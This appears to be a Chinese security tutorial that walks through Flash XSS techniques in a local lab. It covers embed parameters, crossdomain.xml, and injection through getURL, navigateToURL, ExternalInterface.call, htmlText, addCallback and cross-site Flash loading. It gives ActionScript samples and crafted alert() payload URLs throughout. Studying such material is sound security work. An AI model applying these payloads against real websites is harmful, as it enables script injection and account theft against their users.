常見Flash XSS攻擊方式
0x01 HTML中嵌入FLASH
在HTML中嵌入FLASH的時候在IE和非IE瀏覽器下嵌入的方式有所不同,可以使用embed標籤和object標籤,使用如下的程式碼進行嵌入:
IE下嵌入
#!html
<object codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
<param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
非IE下嵌入
#!html
<object type="application/x-shockwave-Flash" data="./trace.swf">
<param name="movie" value = "./trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
在插入Flash的過程中有兩個重要的引數,allowScriptAccess和allowNetworking兩個引數:
allowScriptAccess:控制html頁面與Flash頁面的通訊。
always:html和Flash頁面的通訊不做任何的限制;
samedomain:html和Flash同域的時候可以做通訊【這個值是預設值】;
never:html和Flash禁止通訊。
allowNetworking:控制Flash與外部的網路通訊。
all:Flash所有的網路API通訊介面都可用;
internal:navigateToURL,fscommand,ExternalInterface.call不可用;
none:所有的網路API不可用。
以chrome瀏覽器為例來驗證以上引數,首先在本地搭建環境,並且新建一個Flash檔案,Flash檔案包括的內容主要是使用ExternalInterface.call執行力一個js語句,彈出當前域的域名。
1):插入本地的Flash檔案。
#!html
<object type="application/x-shockwave-Flash" data="./trace.swf">
<param name="movie" value = "./trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
執行結果:
2):插入本地的Flash,將allowScriptAccess引數改為samedomain。
#!html
<object type="application/x-shockwave-Flash" data="./trace.swf">
<param name="movie" value = "./trace.swf" />
<param name="allowScriptAccess" value="samedomain" />
<param name="allowNetworking" value="all" />
執行結果:
Html介面與Flash屬於同域,因此能夠彈出。
3):插入本地Flash,將allowScriptAccess改為never。
#!html
<object type="application/x-shockwave-Flash" data="./trace.swf">
<param name="movie" value = "./trace.swf" />
<param name="allowScriptAccess" value="never" />
<param name="allowNetworking" value="all" />
</object>
執行結果沒有彈出。
4):插入遠端Flash,將allowScriptAccess改為always。
#!html
<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
<param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
執行結果:
注意這裡彈出的域為當前html的域名,非Flash的域。
5):插入遠端Flash,將allowScriptAccess改為samedomain
#!html
<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
<param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="samedomain" />
<param name="allowNetworking" value="all" />
</object>
執行結果沒有彈出,因為Flash的域不和html在同一域內。
6):插入遠端Flash,將allowScriptAccess改為never
#!html
<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
<param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="never" />
<param name="allowNetworking" value="all" />
</object>
執行結果沒有彈出,由於禁止了與html介面通訊。
7)將allowScriptAccess置為always,將allowNetworking置為internal
#!html
<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf">
<param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="internal" />
執行結果沒有彈出,allowNetworking的引數置為internal,禁止了介面ExternalInterface.all。
0x02 Flash跨域請求
Flash跨域訪問的時候主要受到crossdomain.xml檔案的影響。crossdomain.xml檔案嚴格遵循xml語法,主要作用就是當被Flash請求到本域資源的時候,是否允許請求。 例如: www.evil.com中嵌入一個Flash,Flash跨域請求www.q.com下的資源,此時會先檢視www.q.com目錄下的crossdomain.xml檔案,檢視是否允許evil.com域Flash請求本域的資源。 crossdomain.xml檔案主要包含如下幾個節點:
site-control,allow-access-from,allow-access-from-identity,allow-http-request-headers-from
常用的節點為allow-access-from【可能我見的少= =】,用來指明允許本域資源允許被哪些域名的Flash跨域請求。
例如下面為優酷的crossdomain.xml檔案:
#!html
<cross-domain-policy>
<allow-access-from domain="*.youku.com"/> //允許youku.com域名的Flash訪問
<allow-access-from domain="*.ykimg.com"/>
<allow-access-from domain="*.tudou.com"/>
<allow-access-from domain="*.tudouui.com"/>
<allow-access-from domain="*.tdimg.com"/>
</cross-domain-policy>
Ps.這個檔案常常被用到Flash csrf中,當allow-access-from domain被設定為*後,可能存在Flash csrf的風險。
0x03 常見Flash xss分類總結
Flash缺陷引數-getURL
Flash提供相關的函式,可以執行js程式碼,getURL【AS2中支援】,navigateToURL【AS3中支援】,ExternalInterface.call。 在wooyun中搜尋到了一個相關例項:
WooYun: 久遊網FLASH安全問題深入分析與利用(一)
本著學習的原則本地搭建實踐了下: 本地新建了個Flash,Flash呼叫外部資源xml檔案。 Flash程式碼:
#!js
var root_xml:XML = new XML();
root_xml.ignoreWhite = true;
root_xml.onLoad = function(success){
if(success){
getURL(root_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue)
}else{
getURL("javascript:alert(‘fail’)")
}
}
root_xml.load(_root.url);
xml檔案:
#!html
<?xml version="1.0" encoding="utf-8" ?>
<data>
<link>javascript:alert('xss')</link>
</data>
執行結果:
Ps.此類問題一般可以使用google搜尋xml檔案被swf呼叫的情況,傳入的內容如果沒做過濾,很可能出現此類問題。
Flash缺陷引數-navigateToURL
上例中getURL()為AS2中的方法,在AS3中使用的是navigateToURL,wooyun中上報過此引數導致Flash xss的例項。
WooYun: [騰訊例項教程] 那些年我們一起學XSS - 14. Flash Xss入門 [navigateToURL]
此類問題原理一般是由於呼叫了的資原始檔(如xml)可被攻擊者控制,導致了Flash xss。
本著學習的原則,本地搭建實踐了下: Flash檔案:
#!as3
var url:String = stage.loaderInfo.parameters.url
var req:URLRequest = new URLRequest("a.xml");
var ld:URLLoader = new URLLoader();
ld.addEventListener(Event.COMPLETE ,ok);
function ok(evtObj:Event):void {
if(ld.data){
navigateToURL(new URLRequest(url),'_self')
} else {
}
}
ld.load(req)
大致意思就是從外部獲取了一個引數,透過navigateToURL呼叫。
執行結果:
Flash缺陷引數-ExternalInterface.call(引數一)
ExternalInterface.call同樣是一個Flash提供的可以執行js的介面函式, ExternalInterface.call函式有兩個引數,形如ExternalInterface.call("函式名","引數1")。
Flash最後執行的JS程式碼如下:
#!as3
try { __Flash__toXML(函式名("引數1")) ; } catch (e) { "<undefined/>"; }
此段先考慮引數1,即函式名。
Wooyun上相關的例項有:
WooYun: [騰訊例項教程] 那些年我們一起學XSS - 15. Flash Xss進階 [ExternalInterface.call第一個引數]
WooYun: Flash應用安全系列[1]--360反射型跨站
這兩篇都寫的很詳細。
本著學習的原則,本地搭建實踐了下: Flash檔案:
#!as3
var a:String = root.loaderInfo.parameters.func
if(ExternalInterface.available){
ExternalInterface.call(a)
} else {
trace(100)
}
stop()
從外部獲取引數func,使用ExternalInterface.call接收第一個引數,執行。
對比:
#!as3
try { __Flash__toXML(函式名("引數1")) ; } catch (e) { "<undefined/>"; }
建立url:
http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//
這樣實際執行的js程式碼為:
#!as3
try { __Flash__toXML(alert(1))}catch(e){alert(100)}// ("引數1")) ; } catch (e) { "<undefined/>"; }
http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//
try { __Flash__toXML(a1lert(1))}catch(e){alert(100)}// ("引數1")) ; } catch (e) { "<undefined/>"; }
預期結果應該是第一個url執行之後彈出數字1,第二個url執行之後彈出數字100。 訪問
http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//
訪問
http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//
和預期結果一樣。
Flash缺陷引數-ExternalInterface.call(引數二)
有時候當反編譯swf之後,會發現可控的引數的輸出位置在ExternalInterface.call函式的第二個引數,方法和思路與第一個引數的時候類似。
Wooyun裡面相關的例子:
WooYun: [騰訊例項教程] 那些年我們一起學XSS - 16. Flash Xss進階 [ExternalInterface.call第二個引數]
WooYun: Flash應用安全系列[3]--WordPress反射型跨站(0day)
Flash檔案:
#!as3
var a:String = root.loaderInfo.parameters.par
if(ExternalInterface.available){
ExternalInterface.call("alert",a)
} else {
trace(100)
}
stop()
Flash檔案中的a是從外部獲取的引數,此處外部獲取的引數par賦值給了a,作為輸出點輸出到了ExternalInterface的第二個引數的位置,此處相對於第一個引數的不同之處是,此處的輸出點在引號中,因此此處我們需要把引號閉合掉。根據上面兩邊文章,可以發現閉合引號使用的方法是\”這樣會被轉義為\”,”就被吃掉了。
根據ExternalInterface.call的呼叫原型:
#!as3
try { __Flash__toXML(函式名("引數1")) ; } catch (e) { "<undefined/>"; }
我們將引數輸入如下的url:
http://192.168.4.70/ExternalInterface_second.swf?par=1111\%22),al)}catch(e){alert(1000)}//
分析應該執行如下:
#!as3
try{
__Flash__toXML(alert(“1111\\”),al
}
catch(e){
alert(1000)
}
如此下來應該就會彈出兩個框,一個為1111\,另外一個為1000。 執行結果,彈出1111\:
點選確定,彈出1000:
Ps. 此處ExternalInterface.call呼叫的函式名,編寫Flash的時候設定了alert,因此此處會彈兩次,一般情況下,函式名是不能夠被控制,這樣我們使得,前面的函式執行異常,執行catch中的js即可。
Flash缺陷引數-htmlText
Flash支援在Flash裡內嵌html,支援的標籤img標籤,a標籤等。 img標籤可以透過src引數引入一個Flash檔案,類似與XSF一樣。
WooYun: Flash應用安全系列[6]--新浪微博蠕蟲威脅
文件寫的很詳細,推薦閱讀。 本著學習的原則,本地建立了Flash檔案,
#!as3
import fl.controls.TextArea;
var a:String = root.loaderInfo.parameters.url
var t:TextArea = new TextArea()
t.width = 500
t.height = 300
t.htmlText += a
addChild(t)
從獲取URL中的引數url,賦值給a,變數a直接輸出到了Textarea t中。 訪問如下url:
http://192.168.4.70/htmltext.swf?url=%3Cimg%20src=%27./trace.swf%27%3E
訪問結果如下:
Ps.當反編譯Flash檔案,發現htmltext輸出點的時候,可以檢視相關是否存在相關的可控的輸入,可能存在xss。 Flash缺陷引數object的id可控 html與swf通訊的時候,使用的是ExternalInterface.addCallback函式,呼叫如下:
#!as3
function a(){
trace(“hi”);
}
ExternalInterface.addCallback(“test”,a);
執行了函式之後,在html上可以透過使用函式名test來呼叫Flash中的函式a。
addCallback的原理:
#!as3
if ((((activeX == true)) && (!((objectID == null))))){
_evalJS((((("__Flash__addCallback(document.getElementById(\"" + objectID) + "\"), \"") + functionName) + "\");"));
};
objectID為Flash的id,functionName為函式名稱,因此當我們插入的Flash的id可控的時候,可能會出現xss問題。
Wooyun上已經出現的類似問題:
WooYun: [騰訊例項教程] 那些年我們一起學XSS - 21. 儲存型XSS進階 [猜測規則,利用Flash addCallback構造XSS]
WooYun: Flash應用安全系列[4]--Flash Player的又一個0day
WooYun: QQ空間某功能缺陷導致日誌儲存型XSS - 12
本著學習的原則,本地建立了Flash檔案,
#!as3
function a(){
trace("hi")
}
ExternalInterface.addCallback("test",a)
x.html頁面
#!html
<object id="addcallback,"),(function(){if(!window.x){window.x=1;alert(1)}})(),("" codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000">
<param name="movie" value = "./addCallback.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
訪問該介面(IE8下測試):
Flash缺陷引數addcallback與lso結合
這個問題出現的點在addCallback宣告的函式,在被html介面js執行之後的返回值攻擊者可控,導致了xss問題。使用lso中首先會setlso,寫入髒資料,然後getlso獲取髒資料。
Wooyun例項連結:
WooYun: 一個flash的0day導致的淘寶網儲存xss(可形成永久後門)
WooYun: 一個flash的0day導致的淘寶網儲存xss 【續集】
WooYun: 一個可大規模悄無聲息竊取淘寶/支付寶賬號與密碼的漏洞 -(埋雷式攻擊附帶影片演示)
WooYun: 我是如何實現批次種植rootkit竊取阿里雲賬號密碼的
drops下相關資料:
一個可大規模悄無聲息竊取淘寶/支付寶賬號與密碼的漏洞 -(埋雷式攻擊附帶影片演示)
本著學習的原則,本地建立了Flash檔案,
#!as3
function setlso(_arg1:String):Boolean{
var _local2:SharedObject = SharedObject.getLocal("kj");
_local2.data.key = _arg1;
_local2.flush();
return (true);
}
function getlso():String{
var _local1:SharedObject = SharedObject.getLocal("kj");
if(_local1.data.key == undefined){
return ("");
}
return (_local1.data.key);
}
ExternalInterface.addCallback("getlso",getlso)
ExternalInterface.addCallback("setlso",setlso)
x.html
#!html
<html>
<head></head>
<body>
<object id="lso" type="application/x-shockwave-Flash" data="http://192.168.4.70/addCallback_lso.swf">
<param name="movie" value = "http://192.168.4.70/addCallback_lso.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
</object>
<script>
function set(){
document["lso"].setlso('aa\\";alert(document.domain);//aa');
}
function get(){
document["lso"].getlso();
}
setTimeout("get()",5000)
setTimeout("get()",7000)
</script>
</body>
</html>
執行結果:
跨站Flash
跨站Flash即XSF,透過AS載入第三方的Flash檔案,如果這個第三方Flash可以被控制,就可以實現XSF。 在AS2中使用loadMove函式等載入第三方Flash。
#!as3
_root.loadMovie(swf);
在AS3中使用Loader類進行外部資料處理:
#!as3
var param:Object = root.loaderInfo.parameters;
var swf:String = param[“swf”];
var myLoader:Loader = new Loader();
var url:URLRequest = new URLRequest(swf);
myLoader.load(url);
addChild(myLoader);
wooyun上例項:
WooYun: 百度貼吧儲存型XSS - Flash又中槍了~~
本地搭建環境,新建Flash:
#!as3
var param:Object = root.loaderInfo.parameters;
var swf:String = param["swf"];
var myLoader:Loader = new Loader();
var url:URLRequest = new URLRequest(swf);
myLoader.load(url);
addChild(myLoader);
新建本地html檔案:
#!html
<object id="lso" type="application/x-shockwave-Flash" data="http://192.168.4.70/xsf.swf">
<param name="movie" value = "http://192.168.4.70/xsf.swf" />
<param name="allowScriptAccess" value="always" />
<param name="allowNetworking" value="all" />
<param name="Flashvars" value="swf=http://xxxxx.sinaapp.com/trace.swf"
</object>
執行結果,載入了遠端有缺陷的swf檔案導致了xsf。
其他
1:addCallback返回值從其他地方獲取。
WooYun: QQ空間某功能缺陷導致日誌儲存型XSS - 14
2:利用上傳檔案如xx.swf修改為xx.jpg獲得上傳目標域下的swf。
WooYun: Flash應用安全系列[5]--QQ郵箱永久劫持漏洞
WooYun: 騰訊某分站可上傳任意swf檔案導致的一系列問題(附簡單POC)
drops相關連結:
相關文章
- 常見網路攻擊:XSS 篇2018-05-03
- WEB常見的攻擊方式2018-09-26Web
- 常見的攻擊方式以及防護策略2022-05-07
- 常見駭客攻擊方式有哪些?如何防範?2023-12-14
- web常見的攻擊方式有哪些?如何防禦?2024-05-21Web
- HTML5前端常見攻擊方式案例講解!2021-06-08HTML前端
- 常見的HTTPS攻擊方法2020-08-19HTTP
- 如何防止XSS攻擊2022-05-23
- 什麼是XSS攻擊?XSS攻擊有哪幾種型別?2021-08-05型別
- 五種常見的DNS攻擊型別及應對方式2022-04-27DNS型別
- 一篇文章掌握常見的網站攻擊方式2018-10-24網站
- DDOS攻擊常見的型別2019-08-13型別
- 前端攻擊 XSS 深入解析2018-04-12前端
- 瞭解常見網路攻擊方式,做好網路安全防範!2023-11-17
- XSS攻擊有什麼特點?XSS攻擊分為幾個型別?2023-09-28型別
- XSS常見問題2024-12-04
- XSS攻擊和CSRF攻擊有什麼區別?2024-01-29
- 什麼是XSS攻擊?其攻擊原理有哪些?2023-03-10
- 常見的網路攻擊型別2019-08-16型別
- 什麼是DOS攻擊?DOS攻擊常見形式是什麼?2021-09-15
- XSS與SQL隱碼攻擊2020-12-25SQL
- mXSS攻擊的成因及常見種類2020-08-19
- React 防注入攻擊 XSS攻擊 (放心大膽的用吧)2020-10-12React
- 寬位元組XSS跨站攻擊2020-05-14
- 【web安全】深入淺出XSS攻擊2019-05-02Web
- Web 安全漏洞之 XSS 攻擊2018-11-19Web
- 什麼是網路攻擊?常見的網路攻擊手段有哪些?2023-11-07
- 常見RDP協議攻擊方法 防禦措施2024-06-22協議
- 常見網路攻擊有哪些?如何防禦?2024-01-19
- 網站被攻擊常見的形式有哪些?2023-12-25網站
- 8種常見的駭客攻擊技術2023-02-21
- 幾種常見的DDOS攻擊應對策略2020-06-03
- 常見埠說明,以及攻擊方向彙總。2020-09-30
- 常見網路攻擊的方法與服務2020-10-07
- 網路安全——常見的幾種WEB攻擊:2018-10-25Web
- web攻擊方式2019-03-19Web
- 前端面試查漏補缺--(七) XSS攻擊與CSRF攻擊2019-02-23前端面試
- 常見web攻擊型別有哪些?如何預防及防範web攻擊?2024-03-01Web型別